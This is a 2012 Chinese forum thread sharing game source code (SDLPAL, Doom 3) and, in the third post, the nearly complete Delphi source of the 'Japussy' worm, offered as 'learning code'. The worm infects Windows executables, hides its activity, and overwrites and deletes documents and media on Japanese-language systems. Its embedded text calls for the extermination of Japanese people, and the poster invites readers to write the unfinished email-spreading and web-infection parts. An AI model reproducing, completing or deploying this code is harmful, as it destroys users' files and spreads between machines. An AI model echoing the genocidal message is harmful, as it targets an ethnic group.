设为首页收藏本站

八达网

 找回密码
 注册
查看: 694|回复: 24
打印 上一主题 下一主题

分享一下仙剑奇侠传源码(linux,window,Mac),doom3源码,win下低格工具,病毒研究码

[复制链接]

315

主题

0

好友

1万

积分

航母

失眠屌丝爱 Coding

跳转到指定楼层
1
发表于 2012-5-10 17:02 |只看该作者 |倒序浏览
本帖最后由 墨家 于 2012-5-10 22:44 编辑

随便分享下

doom3 源码

https://github.com/TTimo/doom3.gpl/downloads

dggj.rar

939.71 KB, 下载次数: 237

sdlpal-75746.zip

529.76 KB, 下载次数: 76

8da Coding --------QQ群(26842377)

198

主题

3

好友

3万

积分

大和

2
发表于 2012-5-10 17:04 |只看该作者
下载次数: 0
回复

使用道具 举报

315

主题

0

好友

1万

积分

航母

失眠屌丝爱 Coding

3
发表于 2012-5-10 17:12 |只看该作者
随便分享部分学习代码

program japussy;
uses
windows, sysutils, classes, graphics, shellapi{, registry};
const
headersize = 82432; //病毒体的大小
iconoffset = $12eb8; //pe文件主图标的偏移量
//在我的delphi5 sp1上面编译得到的大小,其它版本的delphi可能不同
//查找2800000020的十六进制字符串可以找到主图标的偏移量
{
headersize = 38912; //upx压缩过病毒体的大小
iconoffset = $92bc; //upx压缩过pe文件主图标的偏移量
//upx 1.24w 用法: upx -9 --8086 japussy.exe
}
iconsize = $2e8; //pe文件主图标的大小--744字节
icontail = iconoffset + iconsize; //pe文件主图标的尾部
id = $44444444; //感染标记
//垃圾码,以备写入
catchword = 'if a race need to be killed out, it must be yamato. ' +
'if a country need to be destroyed, it must be japan! ' +
'*** w32.japussy.worm.a ***';
{$r *.res}
function registerserviceprocess(dwprocessid, dwtype: integer): integer;
stdcall; external 'kernel32.dll'; //函数声明
var
tmpfile: string;
si: startupinfo;
pi: process_information;
isjap: boolean = false; //日文操作系统标记
{ 判断是否为win9x }
function iswin9x: boolean;
var
ver: tosversioninfo;
begin
result := false;
ver.dwosversioninfosize := sizeof(tosversioninfo);
if not getversionex(ver) then
exit;
if (ver.dwplatformid = ver_platform_win32_windows) then //win9x
result := true;
end;
{ 在流之间复制 }
procedure copystream(src: tstream; sstartpos: integer; dst: tstream;
dstartpos: integer; count: integer);
var
scurpos, dcurpos: integer;
begin
scurpos := src.position;
dcurpos := dst.position;
src.seek(sstartpos, 0);
dst.seek(dstartpos, 0);
dst.copyfrom(src, count);
src.seek(scurpos, 0);
dst.seek(dcurpos, 0);
end;
{ 将宿主文件从已感染的pe文件中分离出来,以备使用 }
procedure extractfile(filename: string);
var
sstream, dstream: tfilestream;
begin
try
sstream := tfilestream.create(paramstr(0), fmopenread Or fmsharedenynone);
try
dstream := tfilestream.create(filename, fmcreate);
try
sstream.seek(headersize, 0); //跳过头部的病毒部分
dstream.copyfrom(sstream, sstream.size - headersize);
finally
dstream.free;
end;
finally
sstream.free;
end;
except
end;
end;
{ 填充startupinfo结构 }
procedure fillstartupinfo(var si: startupinfo; state: word);
begin
si.cb := sizeof(si);
si.lpreserved := nil;
si.lpdesktop := nil;
si.lptitle := nil;
si.dwflags := startf_useshowwindow;
si.wshowwindow := state;
si.cbreserved2 := 0;
si.lpreserved2 := nil;
end;
{ 发带毒邮件 }
procedure sendmail;
begin
//哪位仁兄愿意完成之?
end;
{ 感染pe文件 }
procedure infectonefile(filename: string);
var
hdrstream, srcstream: tfilestream;
icostream, dststream: tmemorystream;
iid: longint;
aicon: ticon;
infected, ispe: boolean;
i: integer;
buf: array[0..1] of char;
begin
try //出错则文件正在被使用,退出
if comparetext(filename, 'japussy.exe') = 0 then //是自己则不感染
exit;
infected := false;
ispe := false;
srcstream := tfilestream.create(filename, fmopenread);
try
for i := 0 to $108 do //检查pe文件头
begin
srcstream.seek(i, sofrombeginning);
srcstream.read(buf, 2);
if (buf[0] = #80) And (buf[1] = #69) then //pe标记
begin
ispe := true; //是pe文件
break;
end;
end;
srcstream.seek(-4, sofromend); //检查感染标记
srcstream.read(iid, 4);
if (iid = id) Or (srcstream.size < 10240) then //太小的文件不感染
infected := true;
finally
srcstream.free;
end;
if infected Or (not ispe) then //如果感染过了或不是pe文件则退出
exit;
icostream := tmemorystream.create;
dststream := tmemorystream.create;
try
aicon := ticon.create;
try
//得到被感染文件的主图标(744字节),存入流
aicon.releasehandle;
aicon.handle := extracticon(hinstance, pchar(filename), 0);
aicon.savetostream(icostream);
finally
aicon.free;
end;
srcstream := tfilestream.create(filename, fmopenread);
//头文件
hdrstream := tfilestream.create(paramstr(0), fmopenread Or fmsharedenynone);
try
//写入病毒体主图标之前的数据
copystream(hdrstream, 0, dststream, 0, iconoffset);
//写入目前程序的主图标
copystream(icostream, 22, dststream, iconoffset, iconsize);
//写入病毒体主图标到病毒体尾部之间的数据
copystream(hdrstream, icontail, dststream, icontail, headersize - icontail);
//写入宿主程序
copystream(srcstream, 0, dststream, headersize, srcstream.size);
//写入已感染的标记
dststream.seek(0, 2);
iid := $44444444;
dststream.write(iid, 4);
finally
hdrstream.free;
end;
finally
srcstream.free;
icostream.free;
dststream.savetofile(filename); //替换宿主文件
dststream.free;
end;
except;
end;
end;
{ 将目标文件写入垃圾码后删除 }
procedure smashfile(filename: string);
var
filehandle: integer;
i, size, mass, max, len: integer;
begin
try
setfileattributes(pchar(filename), 0); //去掉只读属性
filehandle := fileopen(filename, fmopenwrite); //打开文件
try
size := getfilesize(filehandle, nil); //文件大小
i := 0;
randomize;
max := random(15); //写入垃圾码的随机次数
if max < 5 then
max := 5;
mass := size div max; //每个间隔块的大小
len := length(catchword);
while i < max do
begin
fileseek(filehandle, i * mass, 0); //定位
//写入垃圾码,将文件彻底破坏掉
filewrite(filehandle, catchword, len);
inc(i);
end;
finally
fileclose(filehandle); //关闭文件
end;
deletefile(pchar(filename)); //删除之
except
end;
end;
{ 获得可写的驱动器列表 }
function getdrives: string;
var
disktype: word;
d: char;
str: string;
i: integer;
begin
for i := 0 to 25 do //遍历26个字母
begin
d := chr(i + 65);
str := d + ':\';
disktype := getdrivetype(pchar(str));
//得到本地磁盘和网络盘
if (disktype = drive_fixed) Or (disktype = drive_remote) then
result := result + d;
end;
end;
{ 遍历目录,感染和摧毁文件 }
procedure loopfiles(path, mask: string);
var
i, count: integer;
fn, ext: string;
subdir: tstrings;
searchrec: tsearchrec;
msg: tmsg;
function isvaliddir(searchrec: tsearchrec): integer;
begin
if (searchrec.attr <> 16) And (searchrec.name <> '.') and
(searchrec.name <> '..') then
result := 0 //不是目录
else if (searchrec.attr = 16) And (searchrec.name <> '.') and
(searchrec.name <> '..') then
result := 1 //不是根目录
else result := 2; //是根目录
end;
begin
if (findfirst(path + mask, faanyfile, searchrec) = 0) then
begin
repeat
peekmessage(msg, 0, 0, 0, pm_remove); //调整消息队列,避免引起怀疑
if isvaliddir(searchrec) = 0 then
begin
fn := path + searchrec.name;
ext := uppercase(extractfileext(fn));
if (ext = '.exe') Or (ext = '.scr') then
begin
infectonefile(fn); //感染可执行文件
end
else if (ext = '.htm') Or (ext = '.html') Or (ext = '.asp') then
begin
//感染html和asp文件,将base64编码后的病毒写入
//感染浏览此网页的所有用户
//哪位大兄弟愿意完成之?
end
else if ext = '.wab' then //outlook地址簿文件
begin
//获取outlook邮件地址
end
else if ext = '.adc' then //foxmail地址自动完成文件
begin
//获取foxmail邮件地址
end
else if ext = 'ind' then //foxmail地址簿文件
begin
//获取foxmail邮件地址
end
else
begin
if isjap then //是倭文操作系统
begin
if (ext = '.doc') Or (ext = '.xls') Or (ext = '.mdb') or
(ext = '.mp3') Or (ext = '.rm') Or (ext = '.ra') or
(ext = '.wma') Or (ext = '.zip') Or (ext = '.rar') or
(ext = '.mpeg') Or (ext = '.asf') Or (ext = '.jpg') or
(ext = '.jpeg') Or (ext = '.gif') Or (ext = '.swf') or
(ext = '.pdf') Or (ext = '.chm') Or (ext = '.avi') then
smashfile(fn); //摧毁文件
end;
end;
end;
//感染或删除一个文件后睡眠200毫秒,避免cpu占用率过高引起怀疑
sleep(200);
until (findnext(searchrec) <> 0);
end;
findclose(searchrec);
subdir := tstringlist.create;
if (findfirst(path + '*.*', fadirectory, searchrec) = 0) then
begin
repeat
if isvaliddir(searchrec) = 1 then
subdir.add(searchrec.name);
until (findnext(searchrec) <> 0);
end;
findclose(searchrec);
count := subdir.count - 1;
for i := 0 to count do
loopfiles(path + subdir.strings + '\', mask);
freeandnil(subdir);
end;
{ 遍历磁盘上所有的文件 }
procedure infectfiles;
var
driverlist: string;
i, len: integer;
begin
if getacp = 932 then //日文操作系统
isjap := true; //去死吧!
driverlist := getdrives; //得到可写的磁盘列表
len := length(driverlist);
while true do //死循环
begin
for i := len downto 1 do //遍历每个磁盘驱动器
loopfiles(driverlist + ':\', '*.*'); //感染之
sendmail; //发带毒邮件
sleep(1000 * 60 * 5); //睡眠5分钟
end;
end;
{ 主程序开始 }
begin
if iswin9x then //是win9x
registerserviceprocess(getcurrentprocessid, 1) //注册为服务进程
else //winnt
begin
//远程线程映射到explorer进程
//哪位兄台愿意完成之?
end;
//如果是原始病毒体自己
if comparetext(extractfilename(paramstr(0)), 'japussy.exe') = 0 then
infectfiles //感染和发邮件
else //已寄生于宿主程序上了,开始工作
begin
tmpfile := paramstr(0); //创建临时文件
delete(tmpfile, length(tmpfile) - 4, 4);
tmpfile := tmpfile + #32 + '.exe'; //真正的宿主文件,多一个空格
extractfile(tmpfile); //分离之
fillstartupinfo(si, sw_showdefault);
createprocess(pchar(tmpfile), pchar(tmpfile), nil, nil, true,
0, nil, '.', si, pi); //创建新进程运行之
infectfiles; //感染和发邮件
8da Coding --------QQ群(26842377)
回复

使用道具 举报

140

主题

1

好友

6173

积分

大象

2013年夜饭

4
发表于 2012-5-10 17:49 |只看该作者
请问怎么用?
回复

使用道具 举报

315

主题

0

好友

1万

积分

航母

失眠屌丝爱 Coding

5
发表于 2012-5-10 21:31 |只看该作者
居然没有码农来点评?
8da Coding --------QQ群(26842377)
回复

使用道具 举报

315

主题

0

好友

1万

积分

航母

失眠屌丝爱 Coding

6
发表于 2012-5-10 21:46 |只看该作者
本帖最后由 墨家 于 2012-5-10 21:50 编辑

仙剑源码编译的话

请自行下载SDL

在WINDOWS下编译
=====================

The following compilers/IDEs are supported under Windows:

1) Microsoft Visual C++ 6.0 or higher
2) Dev-C++ 4.9.9.2
3) Open Watcom 1.7

To compile, open the respective project file (sdlpal.dsp, sdlpal.dev, or
sdlpal.wpj). You need to have SDL development files installed.


在LINUX下编译
=======================

To compile, type:

make

You need to have SDL development files installed. The compiled executable
should be generated with the filename 'sdlpal' at the top directory of source
files.

SDLPAL should also be able to run under other UNIX-like systems, however
it's not tested.


在苹果 OS X下编译
======================

To compile, open the project Pal.xcodeproj with Xcode, and click Build. You
need to have SDL framework installed at /Library/Frameworks.

The compiled bundle should work as a "universal" binary which works on both
Intel and PowerPC.
8da Coding --------QQ群(26842377)
回复

使用道具 举报

315

主题

0

好友

1万

积分

航母

失眠屌丝爱 Coding

7
发表于 2012-5-10 21:49 |只看该作者
码农们请点评
8da Coding --------QQ群(26842377)
回复

使用道具 举报

54

主题

1

好友

6036

积分

大象

8
发表于 2012-5-10 21:52 |只看该作者
给回你帖的那几个拍基地了吗
海宁原装皮草衣店 http://shop58553854.taobao.com
回复

使用道具 举报

315

主题

0

好友

1万

积分

航母

失眠屌丝爱 Coding

9
发表于 2012-5-10 22:00 |只看该作者
GP).Cafetiere 发表于 2012-5-10 21:52
给回你帖的那几个拍基地了吗

不都是叶黄吗?
8da Coding --------QQ群(26842377)
回复

使用道具 举报

120

主题

2

好友

10万

积分

黑暗执政官

10
发表于 2012-5-10 22:05 |只看该作者
回复

使用道具 举报

43

主题

0

好友

2万

积分

大和

D调·D调

11
发表于 2012-5-10 22:06 |只看该作者
回复

使用道具 举报

21

主题

0

好友

3万

积分

大和

牛奶浪人★淏

战队
[B.D]=
种族
Protoss
12
发表于 2012-5-10 22:07 |只看该作者
mac 64位玩不起来?
回复

使用道具 举报

372

主题

1

好友

3万

积分

大和

我自横刀向天笑,笑完我就去睡觉.睡醒我就拿起刀,再次横刀向天

战队
Linyu)
联赛ID
[ReD]NaDa
种族
Terran
13
发表于 2012-5-10 22:09 |只看该作者
这东西对64bit系统 没用
回复

使用道具 举报

452

主题

0

好友

2592

积分

坦克

14
发表于 2012-5-10 22:10 |只看该作者
你想说什么呢
http://junzhang4008.blog.163.com ... 578820070269147623/

作为一个游戏从业者我表示仙剑这种源码没任何价值了
现在都dx 11了,这种2d tile-based游戏是个码农都能敲出来 哪怕是web码农
曾经有个叫卡马克的人开源了一个叫doom的作品 那才是神作

2861316437
2836235853
回复

使用道具 举报

452

主题

0

好友

2592

积分

坦克

15
发表于 2012-5-10 22:11 |只看该作者
敲这么多字我就是傻逼
2861316437
2836235853
回复

使用道具 举报

21

主题

0

好友

3万

积分

大和

牛奶浪人★淏

战队
[B.D]=
种族
Protoss
16
发表于 2012-5-10 22:12 |只看该作者
clang: error: no such file or directory: '/Users/myname/Downloads/sdlpal/libmad/version.c'

少个文件?
回复

使用道具 举报

372

主题

1

好友

3万

积分

大和

我自横刀向天笑,笑完我就去睡觉.睡醒我就拿起刀,再次横刀向天

战队
Linyu)
联赛ID
[ReD]NaDa
种族
Terran
17
发表于 2012-5-10 22:13 |只看该作者
rolin 发表于 2012-5-10 22:10
你想说什么呢
http://junzhang4008.blog.163.com/blog/static/2278578820070269147623/

必须的在卡马克面前都是渣渣 这b现在还在抱着opengl不放吗?
回复

使用道具 举报

452

主题

0

好友

2592

积分

坦克

18
发表于 2012-5-10 22:16 |只看该作者
朴善英 发表于 2012-5-10 22:13
必须的在卡马克面前都是渣渣 这b现在还在抱着opengl不放吗?

高富帅说他承认dx已经超过opengl了
但他还是对opengl不离不弃
2861316437
2836235853
回复

使用道具 举报

315

主题

0

好友

1万

积分

航母

失眠屌丝爱 Coding

19
发表于 2012-5-10 22:19 |只看该作者
John D. Carmack II

确实实力派

第一人称射击游戏之父
8da Coding --------QQ群(26842377)
回复

使用道具 举报

21

主题

0

好友

3万

积分

大和

牛奶浪人★淏

战队
[B.D]=
种族
Protoss
20
发表于 2012-5-10 22:19 |只看该作者
rolin 发表于 2012-5-10 22:16
高富帅说他承认dx已经超过opengl了
但他还是对opengl不离不弃

-_- 求2D游戏开发入门教程。。。业余玩玩。。
回复

使用道具 举报

372

主题

1

好友

3万

积分

大和

我自横刀向天笑,笑完我就去睡觉.睡醒我就拿起刀,再次横刀向天

战队
Linyu)
联赛ID
[ReD]NaDa
种族
Terran
21
发表于 2012-5-10 22:22 |只看该作者
rolin 发表于 2012-5-10 22:16
高富帅说他承认dx已经超过opengl了
但他还是对opengl不离不弃

id4 引擎还是基于opengl的吗
回复

使用道具 举报

315

主题

0

好友

1万

积分

航母

失眠屌丝爱 Coding

22
发表于 2012-5-10 22:26 |只看该作者
这款sdlpal还不是原作开源的,是sdl重置的

仙剑1项目领头人,现北软。无权放出源码

John D. Carmack II 不一样,这B,id创始人之一

想怎么折腾,就怎么折腾
8da Coding --------QQ群(26842377)
回复

使用道具 举报

315

主题

0

好友

1万

积分

航母

失眠屌丝爱 Coding

23
发表于 2012-5-10 22:28 |只看该作者
=C.R=LanBinG 发表于 2012-5-10 22:19
-_- 求2D游戏开发入门教程。。。业余玩玩。。

源码很多,随便挑
8da Coding --------QQ群(26842377)
回复

使用道具 举报

315

主题

0

好友

1万

积分

航母

失眠屌丝爱 Coding

24
发表于 2012-5-10 22:43 |只看该作者
8da Coding --------QQ群(26842377)
回复

使用道具 举报

朝朝暮暮 该用户已被删除
25
发表于 2012-5-11 06:01 |只看该作者
提示: 作者被禁止或删除 内容自动屏蔽
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 注册

手机版|Archiver|八达网    

GMT+8, 2026-7-6 20:03

Powered by Discuz! X2.5

© 2001-2012 Comsenz Inc.

回顶部